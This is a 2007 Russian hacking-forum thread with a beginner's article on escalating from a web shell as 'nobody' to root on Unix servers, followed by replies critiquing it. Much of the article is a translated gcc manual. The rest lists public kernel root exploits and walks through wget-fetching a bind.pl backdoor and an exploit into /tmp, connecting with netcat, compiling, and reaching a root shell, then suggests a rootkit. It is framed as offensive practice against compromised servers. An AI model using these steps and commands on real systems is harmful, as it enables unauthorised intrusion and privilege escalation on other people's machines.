Авторские статьи От nobody до root (старая школа)

Discussion in 'Статьи' started by zl0ba, 6 Jan 2007.

  1. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Статья расчитана для новичков(чайников,начинающих и для залётных людей на форум с вопросом , что делать? у меня есть шелл?).
    Похожую статью написал Desr0w http://forum.antichat.ru/showpost.php?p=137357&postcount=1. Не ругайте меня.
    |--------------------------------------------------|
    |1.Intro.
    |2.Немного о GCC.
    |3.Local root exploit for *nix.
    |4.Теория.
    |5.Download.
    |--------------------------------------------------|


    Intro.
    Множество новичков после удачной заливки web shell'a , не знают что дальше делать. Или точнее выразиться, не знают как и при помощи чего можно поднять привилегии в *nix системах. Существует множество способов поднятия прав в системе от nobody до root. И так сейчас мы попробуем рассмотреть самые приемлимые способы для захвата рута. Приступим.

    Немного о GCC.

    На большинства *nix системах стоят по дефолту(по умолчанию), компилятор gcc (GNU project C Compiler). Который
    компилирует C\C++ исходники программ. Он нам нужен для компиляции експлоитов. И так немного о GCC.
    Компиляция может включать до четырех стадий: препроцессирование,
    собственно компиляцию, ассемблирование и линковку, всегда в этом
    порядке. Первые три стадии применяются к отдельному исходному файлу и
    заканчиваются получением объектного файла; линковка объединяет
    все объектные файлы (заново откомпилированные или полученные как
    входные) в исполняемый файл.

    Для любого имени входного файла суффикс определяет какая компиляция
    требуется:
    file.c Исходный код на C, который нуждается в препроцессировании.
    file.i Исходный код на С, который не нуждается в препроцессировании.
    file.ii Исходный код на C++, который не нуждается в препроцессировании.
    file.m Исходный код на Objective C. Заметим, что вам необходимо
    подключить библиотеку 'libobjc.a', чтобы заставить
    Objective C программу работать.
    file.h C заголовочный файл (не для компиляции или линковки).
    file.cc
    file.cxx
    file.cpp
    file.C Исходный код на C+, который нуждается в препроцессировании.
    file.s Ассемблерный код.
    file.S Ассемблерный код, который нуждается в препроцессировании.
    другие Объектный файл, который нужно отдать прямо на линковку. Так
    поступают с любым именем файла с нераспознанным суффиксом.

    Вы можете прямо указать входной язык при помощи опции '-x':
    -x язык.

    Прямо специфицирует язык последующих входных файлов
    (даже если компилятор может выбрать язык на основании
    суффикса имени файла). Эта опция действует на все
    входные файлы вплоть до следующего появления опции '-x'.
    Возможными значениями для языка являются:


    c objective-c c++
    c-header cpp-output c++-cpp-output
    assembler assembler-with-cpp
    -x none
    Выключает любое указание языка так, что последующие
    файлы обрабатываются в соответствии с суффиксами имен файлов
    (как если бы '-x' не указывалось бы вовсе).

    Если вам нужны лишь некоторые из стадий компиляции, вы
    можете использовать '-x', чтобы указать gcc где начать, и одну
    из опций '-c', некоторые комбинации (например, '-x cpp-output
    -E' указывают gcc ни делать вообще ничего).


    -c Компилировать или ассемблировать исходные файлы, но не
    линковать. Стадия ликовки просто не выполняется. Конечный
    вывод происходит в форме объектного файла для каждого
    исходного файла.

    По умолчанию, имя объектного файла делается из имени
    исходного файла заменой суффикса '.c', '.i', '.s', и.т.д. на
    '.o'.

    Нераспознанные входные файлы, не требующие компиляции
    или ассемблирования, игнорируются.


    -S Остановиться после собственно компиляции; не ассемблировать.
    Вывод производится в форме файла с ассемблерным кодом
    для каждого не ассемблерного входного файла.

    По умолчанию, имя файла с ассемблерным кодом делается из
    имени исходного файла заменой суффикса '.c', '.i', и.т.д. на
    '.s'.

    Входные файлы, которые не требуют компиляции игнорируются.


    -E Остановиться после стадии препроцессирования; не
    запускать собственно компилятор. Вывод делается в форме
    препроцессированного исходного кода, который посылается на
    стандартный вывод.

    Входные файлы, которые не требуют препроцессирования
    игнорируются.


    -o файл
    Поместить вывод в файл 'файл'. Эта опция применяется
    вне зависимости от вида порождаемого файла, есть ли это
    выполнимый файл, объектный файл, ассемблерный файл или
    препроцессированный C код.

    Поскольку указывается только один выходной файл, нет
    смысла использовать '-o' при компиляции более чем одного
    входного файла, если вы не порождаете на выходе выполнимый
    файл.

    Если '-o' не указано, по умолчанию выполнимый файл
    помещается в ассемблерный код в 'исходный.s' и все
    препроцессированные C файлы - в стандартный вывод.


    -v Печатать (в стандартный вывод ошибок) команды выполняемые
    для запуска стадий компиляции. Также печатать номер
    версии управляющей программы компилятора, препроцессора и
    самого компилятора.


    -pipe
    Использовать каналы вместо временных файлов для коммуникации
    между различными стадиями компиляции. Это может не
    работать на некоторых системах, где ассемблер не может читать
    из канала, но ассемблер GNU не имеет проблем.

    Для того чтобы скомпилировать експлоит мы делаем gcc exploit.c -o exploit. Быстро рассмотрим: gcc -
    сам компилятор, exploit.c - наш исходник експлоита, -o - флаг, exploit - имя программы после компиляции.


    Если вас заинтересовал компилятор GCC , и вы хотите почитать полное руководство то зайдите по ссылке
    http://linux.taraz.kz/doc/c/gcc1.html.


    Local root exploit for *nix.


    Здесь мы рассмотрим експлоиты для поднятия привелегий в *nix system. Существует два направления експлоитов,local(локальный) и remote(удалённый).И так, в паблике находиться множество различных експлоитов. Я выложу
    список самых эффективных експлоитов для поднятия привелегий.

    [--------------------------------------------------------------*nix--------------------------------------------------------------------]
    |
    `---Linux 2.2.x / 2.4.22 [Linux kernel ptrace/kmod local root exploit] [local] [ptrace-kmod]
    |
    `---Linux 2.2.x / 2.4.23 [Linux kernel do_brk vma overflow local root exploit] [local] [do_brk]
    |
    `---Linux 2.2.x / 2.4.24 /2.6.0-2 [mremap missing do_munmap return check kernel exploit] [local] [mremap_pte]
    |
    `---Linux 2.2 / 2.2.27-rc2 / 2.4.27 / 2.4.31-prel /2.6.x [Linux Kernel binfmt_elf Executable File Read Exploit] [local] [binfmt_elf]
    |
    `---Linux 2.6 / 2.6.11 [Linux Kernel (CPL 0) Local Root Exploit] [local] [k-rad3]
    |
    `---Linux 2.6.x [Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit] [local] [raptor_chown]
    |
    `---FreeBSD 4.x / 5.4 [master.passwd Disclosure Exploit] [local] [kmem]
    |
    `---FreeBSD 4.6-STABLE / 4.7-RELEASE [Local root exploit for hlfsd] [local] [hlfsd-xp]
    |
    `---FreeBSD 5.4-RELEASE [Qpopper <= 4.0.8 (poppassd) Local Root Exploit] [local] [Qpopper]
    |
    `---FreeBSD 4.7-RELEASE [Firebird 1.0.2 FreeBSD 4.7-RELEASE Local Root Exploit] [local] [DSR-firebird]
    |
    |-----> Вам предоставлены самые эффективные сплоиты.


    Теория.


    И так утебя есть web shell, залитый на сервер. Первым дело проверяем свои права командой id и видим>
    uid=99(nobody)gid=99(nobody)groups=99(nobody)
    Давай узнаем какое ядро, для этого водим команду uname -a и что мы видим. Linux 2.2.21 хорошо, замечательно. Будем брать експлоитом ptrace-kmod.c. Для этого нам надо пробиндить тачку, чтобы получить шелл оболочку. Ищем
    открытую папку для заливки файла.По дефолту это папка tmp. Заливаем bind.pl (wget -O /tmp/bind.pl http://site/bind.pl) и запускаем командой perl bind.pl. Открываем net cat и вбиваем host 32767.Появился back сonect.Проверяем на наличии компилятора командой which gcc. Заливаем наш експлоит в tmp(wget -O /tmp/ptrace.c http://site/ptrace.c). Идём в папку tmp (cd /tmp), компилируем ( gcc -o ptrace ptrace.c), Запускаем ( ./ptrace) и видим

    [+] Attached to 8065
    [+] Waiting for signal
    [+] Signal caught
    [+] Shellcode placed at 0x4000fd1d
    [+] Now wait for suid shell...
    sh-2.05a#


    id >> uid=0(root) gid=0(root) groups=0(root)
    Имея root можно установить rootkit.


    Download.


    FreeBSD >>

    kmem.c
    hlfsd-xp.c
    Qpopper
    DSR-firebird.c

    Linux >>


    ptrace-kmod.c
    do_brk.c
    mremap_pte.c
    binfmt_elf.c
    k-rad3.c
    raptor_chown.c

    Bind.pl
    NetCat

    Также и видео :
    1)Уязвимость в HostAdmin, root через бажное ядро Линукса.[c] Melco http://video.antichat.ru/file185.html
    2)Получение root прав на сервере yargsm.ru [c] l@m@rEz http://video.antichat.ru/file151.html
    3)Получаем root, использую сплоита. [c] Fan http://video.antichat.ru/file120.html
     
    #1 zl0ba, 6 Jan 2007
    Last edited: 18 Jan 2007
    8 people like this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Не знаю почему но статья не очень понравилась.
     
    2 people like this.
  3. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Слишком очевидная статья имхо, итак понятно что надо юзать бэкконект и рут сплойт %)) Про chmod в фряхе не написано, вообщем статья - развернутый gcc -h =))) имхо!
     
  4. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Мжа...я ошибаюсь, или бойан?
    З.Ы. клов отжег в репе))
     
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    исправь грамматические ошибки и вообще раз статья для новичков, половина предложения им будет не понятна.

    Вообще, 90% статьи - переведенный man gcc, который нахрен никому не нужен (читать маны, надеюсь, умеют даже новички).

    можно было бы и написать про руткиты, убрав дурацкое gcc.

    Садись, три
     
  6. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Спасибо, буду иметь в виду.
     
  7. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    \не по теме\ Все же спрошу, а все знают как получить рут во ФриБСД.? А то мня прет написать статью по этой теме.
     
  8. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Ну кто то знает, а кто то не знает. Так что пиши =)
     
  9. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Тож не нра чё-то =\

    [size=-100]ЗЫ вспомнил прикол из логов никса)
    man tar
    man ls

    +)))[/size]
     
    _________________________
    1 person likes this.
  10. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Извиняюсь за археологию :eek: , но может у кого-то остались эти видео... залейте плиз
     
    2 people like this.